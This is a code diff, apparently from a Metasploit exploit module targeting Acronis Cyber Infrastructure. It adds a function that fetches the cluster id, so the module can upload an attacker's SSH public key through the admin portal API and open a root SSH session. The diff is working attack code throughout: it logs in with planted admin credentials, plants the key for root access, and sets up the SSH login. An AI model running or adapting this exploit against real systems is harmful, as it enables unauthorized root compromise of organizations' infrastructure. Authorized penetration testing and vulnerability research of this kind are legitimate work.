@@ -169,7 +169,7 @@ def do_sshlogin(ip, user, ssh_opts)
169
169
return true
170
170
end
171
171
172
- # Login at the Acronis Cyber Infrastructure web portal
172
+ # login at the Acronis Cyber Infrastructure web portal
173
173
def aci_login ( name , pwd )
174
174
post_data = {
175
175
username : name . to_s ,
@@ -188,8 +188,32 @@ def aci_login(name, pwd)
188
188
return res &.code == 200
189
189
end
190
190
191
- # Upload the SSH public key at the Acronis Cyber Infrastructure web portal
192
- def upload_sshkey ( sshkey )
191
+ # returns cluster id or nil if not found
192
+ def get_cluster_id
193
+ res = send_request_cgi ( {
194
+ 'method' => 'GET' ,
195
+ 'ctype' => 'application/json' ,
196
+ 'keep_cookies' => true ,
197
+ 'headers' => {
198
+ 'X-Requested-With' => 'XMLHttpRequest'
199
+ } ,
200
+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , 'clusters' )
201
+ } )
202
+
203
+ return unless res &.code == 200
204
+ return unless res . body . include? ( 'data' ) && res . body . include? ( 'id' )
205
+
206
+ # parse json response and get the version
207
+ res_json = res . get_json_document
208
+ return if res_json . blank?
209
+
210
+ res_json [ 'data' ] . each do |cluster |
211
+ return cluster [ 'id' ] unless cluster [ 'id' ] . nil?
212
+ end
213
+ end
214
+
215
+ # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal
216
+ def upload_sshkey ( sshkey , cluster_id )
193
217
post_data = {
194
218
key : sshkey . to_s ,
195
219
event :
@@ -209,7 +233,7 @@ def upload_sshkey(sshkey)
209
233
'headers' => {
210
234
'X-Requested-With' => 'XMLHttpRequest'
211
235
} ,
212
- 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , '1' , 'ssh-keys' ) ,
236
+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'v2' , cluster_id . to_s , 'ssh-keys' ) ,
213
237
'data' => post_data . to_s
214
238
} )
215
239
return true if res &.code == 202 && res . body . include? ( 'task_id' )
@@ -223,7 +247,7 @@ def execute_command(cmd, _opts = {})
223
247
@timeout = true
224
248
end
225
249
226
- # Return ACI version-release string or nil if not found
250
+ # return ACI version-release string or nil if not found
227
251
def get_aci_version
228
252
res = send_request_cgi ( {
229
253
'method' => 'GET' ,
@@ -309,9 +333,14 @@ def exploit
309
333
# log in with the new admin user credentials at the Acronis Admin Portal
310
334
fail_with ( Failure ::NoAccess , "Failed to authenticate at the Acronis Admin Portal with #{ username } and #{ password } " ) unless aci_login ( username , password )
311
335
336
+ # get cluster id to upload the SSH keys
337
+ print_status ( 'Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.' )
338
+ cluster_id = get_cluster_id
339
+ fail_with ( Failure ::NotFound , 'Can not find a cluster and retrieve the id.' ) if cluster_id . nil?
340
+
312
341
# upload the public ssh key at the Acronis Admin Portal to enable root access via SSH
313
342
print_status ( 'Uploading SSH public key at the Acronis Admin Portal.' )
314
- fail_with ( Failure ::NoAccess , 'Failed to upload SSH public key.' ) unless upload_sshkey ( k . ssh_public_key )
343
+ fail_with ( Failure ::NoAccess , 'Failed to upload SSH public key.' ) unless upload_sshkey ( k . ssh_public_key , cluster_id )
315
344
316
345
# login with SSH private key to establish SSH root session
317
346
ssh_opts = ssh_client_defaults . merge ( {
0 commit comments